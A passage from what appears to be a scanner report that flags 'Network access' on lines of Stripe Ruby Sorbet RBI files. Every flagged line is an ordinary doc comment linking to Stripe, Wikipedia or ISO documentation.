    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 168
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 169
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 220
    def initialize(ip_address: nil, validate_location: nil); end     end     # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-cus
  • Network accessline 221
    end     # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).     sig { returns(T.nilable(T.any(String, CustomerUpdateP
  • Network accessline 222
    # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer).
  • Network accessline 244
    }     def cash_balance=(_cash_balance); end     # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_se
  • Network accessline 245
    def cash_balance=(_cash_balance); end     # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings
  • Network accessline 246
    # If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) parameter.
  • Network accessline 248
    # Provide the ID of a payment source already attached to this customer to make it this customer's default payment source.     #     # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/
  • Network accessline 249
    #     # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property.     sig { returns(T.nilable(String)) }
  • Network accessline 250
    # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property.
  • Network accessline 285
    }     def invoice_settings=(_invoice_settings); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure
  • Network accessline 286
    def invoice_settings=(_invoice_settings); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 287
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/dispute_update_params.rbi

  • Network accessline 15
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 16
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 17
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 35
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }               def postal_code=(_postal_code); end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 36
    def postal_code=(_postal_code); end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 37
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 119
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 120
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 121
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 139
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }               def postal_code=(_postal_code); end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 140
    def postal_code=(_postal_code); end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 141
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 279
    sig { params(_billing_address: T.nilable(String)).returns(T.nilable(String)) }       def billing_address=(_billing_address); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation poli
  • Network accessline 280
    def billing_address=(_billing_address); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.       sig { returns(T.nilable(String)) }
  • Network accessline 281
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer.
  • Network accessline 294
    sig { params(_cancellation_rebuttal: T.nilable(String)).returns(T.nilable(String)) }       def cancellation_rebuttal=(_cancellation_rebuttal); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication
  • Network accessline 295
    def cancellation_rebuttal=(_cancellation_rebuttal); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving 
  • Network accessline 296
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr
  • Network accessline 314
    sig { params(_customer_purchase_ip: T.nilable(String)).returns(T.nilable(String)) }       def customer_purchase_ip=(_customer_purchase_ip); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document 
  • Network accessline 315
    def customer_purchase_ip=(_customer_purchase_ip); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.       sig { returns(T.nilable(String)) }
  • Network accessline 316
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature.
  • Network accessline 319
    sig { params(_customer_signature: T.nilable(String)).returns(T.nilable(String)) }       def customer_signature=(_customer_signature); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prio
  • Network accessline 320
    def customer_signature=(_customer_signature); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work 
  • Network accessline 321
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila
  • Network accessline 346
    sig { params(_product_description: T.nilable(String)).returns(T.nilable(String)) }       def product_description=(_product_description); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message 
  • Network accessline 347
    def product_description=(_product_description); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.       sig { returns(T.nilable(String))
  • Network accessline 348
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge.
  • Network accessline 351
    sig { params(_receipt: T.nilable(String)).returns(T.nilable(String)) }       def receipt=(_receipt); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 352
    def receipt=(_receipt); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.       sig { returns(T.nilable(String)) }
  • Network accessline 353
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer.
  • Network accessline 371
    sig { params(_service_date: T.nilable(String)).returns(T.nilable(String)) }       def service_date=(_service_date); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service w
  • Network accessline 372
    def service_date=(_service_date); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work 
  • Network accessline 373
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement.
  • Network accessline 391
    sig { params(_shipping_date: T.nilable(String)).returns(T.nilable(String)) }       def shipping_date=(_shipping_date); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a produc
  • Network accessline 392
    def shipping_date=(_shipping_date); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. Thi
  • Network accessline 393
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt
  • Network accessline 401
    sig { params(_shipping_tracking_number: T.nilable(String)).returns(T.nilable(String)) }       def shipping_tracking_number=(_shipping_tracking_number); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any addi
  • Network accessline 402
    def shipping_tracking_number=(_shipping_tracking_number); end       # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.       sig { returns(T.nilable(String)) }
  • Network accessline 403
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements.
  • Network accessline 457
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 458
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 459
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_create_params.rbi

  • Network accessline 16
    sig { params(_expires_at: T.nilable(Integer)).returns(T.nilable(Integer)) }       def expires_at=(_expires_at); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful 
  • Network accessline 17
    def expires_at=(_expires_at); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 18
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 38
    sig { params(_file: T.untyped).returns(T.untyped) }     def file=(_file); end     # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file.
  • Network accessline 39
    def file=(_file); end     # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file.     sig { returns(T.nilable(FileCreateParams::FileLinkData)) }
  • Network accessline 40
    # Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file.
  • Network accessline 45
    }     def file_link_data=(_file_link_data); end     # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
  • Network accessline 46
    def file_link_data=(_file_link_data); end     # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.     sig { returns(String) }
  • Network accessline 47
    # The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_link_create_params.rbi

  • Network accessline 20
    sig { params(_file: String).returns(String) }     def file=(_file); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the o
  • Network accessline 21
    def file=(_file); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can 
  • Network accessline 22
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/file_link_update_params.rbi

  • Network accessline 17
    }     def expires_at=(_expires_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 18
    def expires_at=(_expires_at); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 19
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/forwarding/request_create_params.rbi

  • Network accessline 43
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 44
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 45
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_create_params.rbi

  • Network accessline 15
    }           def allowed_types=(_allowed_types); end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 16
    def allowed_types=(_allowed_types); end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.           s
  • Network accessline 17
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 27
    }           def require_live_capture=(_require_live_capture); end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your use
  • Network accessline 28
    def require_live_capture=(_require_live_capture); end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [L
  • Network accessline 29
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 44
    ); end         end         # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 45
    end         # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).         sig {
  • Network accessline 46
    # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 96
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 97
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 98
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 139
    sig { params(_return_url: T.nilable(String)).returns(T.nilable(String)) }       def return_url=(_return_url); end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provi
  • Network accessline 140
    def return_url=(_return_url); end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`.       sig { returns(T.nilable(St
  • Network accessline 141
    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`.
  • Network accessline 144
    sig { params(_type: T.nilable(String)).returns(T.nilable(String)) }       def type=(_type); end       # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.
  • Network accessline 145
    def type=(_type); end       # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.       sig { returns(T.nilable(String)) }
  • Network accessline 146
    # The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_list_params.rbi

  • Network accessline 74
    sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) }       def starting_after=(_starting_after); end       # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://do
  • Network accessline 75
    def starting_after=(_starting_after); end       # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).       sig { returns(T.nilable(String)) }
  • Network accessline 76
    # Only return VerificationSessions with this status. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_update_params.rbi

  • Network accessline 15
    }           def allowed_types=(_allowed_types); end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 16
    def allowed_types=(_allowed_types); end           # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.           s
  • Network accessline 17
    # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth.
  • Network accessline 27
    }           def require_live_capture=(_require_live_capture); end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your use
  • Network accessline 28
    def require_live_capture=(_require_live_capture); end           # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [L
  • Network accessline 29
    # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie).
  • Network accessline 44
    ); end         end         # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 45
    end         # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).         sig {
  • Network accessline 46
    # Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document).
  • Network accessline 77
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }       def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u
  • Network accessline 78
    def expand=(_expand); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key
  • Network accessline 79
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 98
    }       def provided_details=(_provided_details); end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
  • Network accessline 99
    def provided_details=(_provided_details); end       # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.       sig { returns(T.nilable(String)) }
  • Network accessline 100
    # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_add_lines_params.rbi

  • Network accessline 53
    sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }           def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This 
  • Network accessline 54
    def images=(_images); end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual
  • Network accessline 55
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 65
    sig { params(_name: String).returns(String) }           def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 66
    def name=(_name); end           # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.           sig { returns(T.nilable(String)) }
  • Network accessline 67
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 87
    ); end         end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 88
    end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 89
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 92
    sig { params(_currency: String).returns(String) }         def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `pr
  • Network accessline 93
    def currency=(_currency); end         # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.         sig { return
  • Network accessline 94
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 97
    sig { params(_product: T.nilable(String)).returns(T.nilable(String)) }         def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_dat
  • Network accessline 98
    def product=(_product); end         # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.         sig { returns(T.nilable(InvoiceAddLinesParams::Line::Pr
  • Network accessline 99
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 104
    }         def product_data=(_product_data); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th
  • Network accessline 105
    def product_data=(_product_data); end         # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T
  • Network accessline 106
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 142
    class TaxAmount < ::Stripe::RequestParams         class TaxRateData < ::Stripe::RequestParams           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 143
    class TaxRateData < ::Stripe::RequestParams           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 144
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 177
    sig { params(_percentage: Float).returns(Float) }           def percentage=(_percentage); end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, Un
  • Network accessline 178
    def percentage=(_percentage); end           # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.           sig { returns(T.nilable(String)) }
  • Network accessline 179
    # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States.
  • Network accessline 263
    sig { params(_invoice_item: T.nilable(String)).returns(T.nilable(String)) }       def invoice_item=(_invoice_item); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be use
  • Network accessline 264
    def invoice_item=(_invoice_item); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 265
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 270
    }       def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-r
  • Network accessline 271
    def metadata=(_metadata); end       # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recogniti
  • Network accessline 272
    # The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used
  • Network accessline 277
    }       def period=(_period); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 278
    def period=(_period); end       # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.       sig { returns(T.nilable(InvoiceAddLinesParams::Line::PriceData)) }
  • Network accessline 279
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 296
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }       def quantity=(_quantity); end       # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-pa
  • Network accessline 297
    def quantity=(_quantity); end       # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rate
  • Network accessline 298
    # A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
  • Network accessline 333
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 334
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 335
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/invoice_create_params.rbi

  • Network accessline 20
    def initialize(account: nil, type: nil); end       end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/ta
  • Network accessline 21
    end       # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspec
  • Network accessline 22
    # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca
  • Network accessline 186
    # Installment configuration for payments attempted on this invoice.           #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 187
    #           # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).           sig {
  • Network accessline 188
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 195
    }           def installments=(_installments); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c
  • Network accessline 196
    def installments=(_installments); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-cu
  • Network accessline 197
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 443
    }       def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo
  • Network accessline 444
    def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at 
  • Network accessline 445
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 576
    sig { params(_amount: Integer).returns(Integer) }           def amount=(_amount); end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip
  • Network accessline 577
    def amount=(_amount); end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(String) }
  • Network accessline 578
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 581
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217
  • Network accessline 582
    def currency=(_currency); end           # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str
  • Network accessline 583
